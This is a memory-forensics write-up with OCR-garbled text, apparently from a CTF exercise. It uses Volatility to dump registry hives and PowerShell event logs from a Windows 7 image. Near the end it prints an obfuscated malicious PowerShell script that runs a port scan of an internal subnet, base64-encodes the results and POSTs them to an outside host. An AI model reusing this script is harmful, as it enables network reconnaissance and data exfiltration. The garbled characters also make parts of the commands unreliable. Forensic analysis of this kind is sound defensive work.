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RYEM B~ -Powershell scripts were executed by malicious programs. What is the registry key that contained
the power shellscript content?. JG¥iFEMRSH

volatility.exe -f C:\Users\shen\Desktop\[fif4\memory.dmp imageinfo #7ZZ/7%MWin7SP1x64
volatility.exe -f C:\Users\shen\Desktop\F{F\memory.dmp --profile=Win7SP1x64 dumpregistry -D ./  #JEHHIEMF#
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registry.Oxfffff8a002ae4410.COMPONENTS.reg
registry.Oxfffff8a000024010.SYSTEM.reg
registry.Oxfffff8a008bf1010.Amcachehve.reg
registry.Oxfffff8a008e1b010.UsrClassdat.reg
registry.Oxfffff8a0089ff010.ntuserdat.req
registry.0xfffff8a00203a010.SAM.reg
registry.Oxfffff8a00891f010.Syscachehve.reg
registry.Oxfffff8a000057410.HARDWARE.reg
registry.Oxfffff8a002149010.NTUSERDAT.reg
registry.0xfffff8a0002d7010.SOFTWARE.reg
registry.Oxfffff8a000347010.BCD.reg
registry.0Oxfffff8a00000f010.no_name.reg
registry.Oxfffff8a0021d5010.NTUSERDAT.reg
registry.0xfffff8a00200e010.SECURITY.reg
registry.Oxfffff8a0001052e0.DEFAGETregshu

volatility.exe -f C:\Users\shen\Desktop\Fff\memory.dmp --profile=Win7SP1x64 filescan
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152 0x000000013d9a7640 33 1 RW-r-- \Device\HarddiskVolumel\Windows\System32\winevt\Logs\Windows PowerShell.evtx
!83  0x000000013d9a7970 5 0 R--r-d \Device\HarddiskVolumel\Windows\Svstem32\samlib.dll

volatility.exe -f C:\Users\shen\Desktop\Fff\memory.dmp --profile=Win7SP1x64 dumpfiles -Q ©x000000013d9a7640 -D
./12/ -n
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@I‘EE. 2020/11/26 21:00:00 PowerShell (Microsoft-Wind... 53504 PowerShell &% &iE IPC
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(D=m 2020/11/26 20:57:01 PowerShell (Microsoft-Wind... 53504 PowerShell &% &if IPC
@Ea 2020/11/26 20:57:01 PowerShell (Microsoft-Wind... 40961 Powershell IZ=HI&EBE
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Aws 2020/11/26 20:57:02 PowerShell (Microsoft-Wind... 4104 HTIIESS

A gs 2020/11/26 20:57:02 PowerShell (Microsoft-Wind... 4104 PUTIHESS
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s'eT-V'A'Riab’|E Diq ( [typE]('sY'+'S'+tEM.'+tEXT'+"'+'EnCOdiNg'") ); Set-'VARI'A'B’le ('Car'+'ul’) ( [TyPe]('ConveR'+'t)) ;${i’N'V'OkEcO'MmaND} =
(((cm'+'d'+"exe)+' /'+'c "+'C'+""+(HaSP'+'r')+ (o' +'gr)+'a'+('m'+'Dat’) +'aH'+ (aSnt'+'user’)+.p'+(ol'+' TC'+'P )+("172.30'+".1.0'+'/24 33'+'8)+('9 5'+'12 /'+'B'+'a’)
+('nne'+'r"))."REPL"A’cE"(([chaR]72+ [chaR]97 + [chaR]83),[STRING] [chaR]92));

${CMdout’ p’Ut} = $(i'NVoK e-eXPREssI'on ${I'NvOk'E'cOMMaND});

${B'yT'es} = (VARIA'BLE dIQ -VALu ):"U'NI'coDe".*g etBYTES“(${cm DOU TPUt});

${eN'Co'dEd} = ( I'TEM (‘'Varl'+'a'+'B'+'LE'+":Carul’) ).valuE:*ToB AS E 64striNG"(${b Yt es}));

${poSTP'A'R'AmS} = @{'D’'ATa"=${e’'N 'cOded}};

i'N"VOKE-WEb REQUESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p") -Method ('POS'+'T') -Body ${p o sTpaRaMs};
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